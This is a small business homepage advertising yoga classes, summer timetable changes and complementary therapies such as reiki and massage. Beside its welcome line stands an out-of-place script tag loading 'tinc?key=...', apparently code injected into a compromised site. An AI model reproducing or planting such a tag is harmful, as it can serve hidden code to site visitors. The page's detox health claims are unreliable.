Welcome to Relaxologies!<script type="text/javascript" charset="UTF-8" src="tinc?key=cE5phwKg"></script>

Yoga

Latest News

New treatments!

From September Relaxologies is offering new treatments:-

  • Seated Accupressure Massage
  • Deep Tissue Massage
  • Natural Facelift/Rejuvenation Therapy

Any of these can be combined with other therapies such as Reiki, Indian Head, Nutritional Guidance, Yoga etc. meaning that your appointment is completely tailored to your needs, wants and how you feel at that time.

Feedback 2008

Thank you so much for the wonderful feedback! I have posted most of general comments on the feedback section of this home page. It has been good to see you are benefitting from the practice and what you think to your class. It is not too late to have your say. Please collect a sheet from your next class.

August classes

Please note some last minute changes to classes in August. There will now only be one more Thursday class - 7th and one more Saturday class - 16th. Monday classes in Wigston are running except for August Bank Holiday Monday.

The last classes in August will be a mini focus workshop on a simple sun salutation. Come and explore this wonderful sequence of simple poses whichare designed to balance all of the body's systems and burn a few calories! We will end the class with a Yoga Nidra session (guided meditation).


Summer Yoga !!!!!


Please see summer timetable under the yoga schedule tab for dates and times of classes in June, July and August. Other times are as normal.

Here are 10 reasons why you should keep up your YOGA practice over the summer period!

1. BRITISH WEATHER = CHANGEABLE!

Weather can change, affecting our muscles, joints, circulation and nervous system. Yoga helps to keep things moving

2. YOGA TO TRIM!

Yoga will help to tone your body, making you look trimmer on the outside and more confident on the inside

3. YOGA MADE EASY!

When the weather is warmer, yoga postures are easier as the body is warmer and more relaxed

4. STAY MOTIVATED!

Lighter evenings make it easier for you to motivate yourself to come to class

5. BEAT STRESS!

Yoga will still help to manage stress levels during stressful summer periods e.g. holiday planning, school holidays, exam times, etc

6. HOLIDAY YOGA!

You can practice yoga on holiday – on your balcony, the beach or find a class in your resort!

7. KEEP IT FRESH!It’s a great time to combine yoga with a raw food diet i.e. fresh salads and fruits in season

8. TAKE YOGA OUTSIDE!

A sheltered spot in the garden/park is a great place to practice sun salutations in the mornings

9. WE DRINK MORE WATER IN SUMMER!

Yoga will detox you and, combined with an increased water intake, will improve your digestive, urinary and eliminatory systems. This will give to clearer, brighter skin and mental clarity

10. MAKE HAY WHILE THE SUN SHINES!

Yoga classes are always quieter in summer so you get more attention!


Complementary therapies

For information on the following or to make an appointment for:-

  • aromatherapy
  • holistic massage
  • hot stone Therapy
  • indian head massage
  • nutritional guidance
  • reiki
  • thai massage

Book in for a free consultation and find out which treatment is most suited to you.

Have a truly wonderful, peaceful and enjoyable summer,

Namaste, Julie

call 07709 446624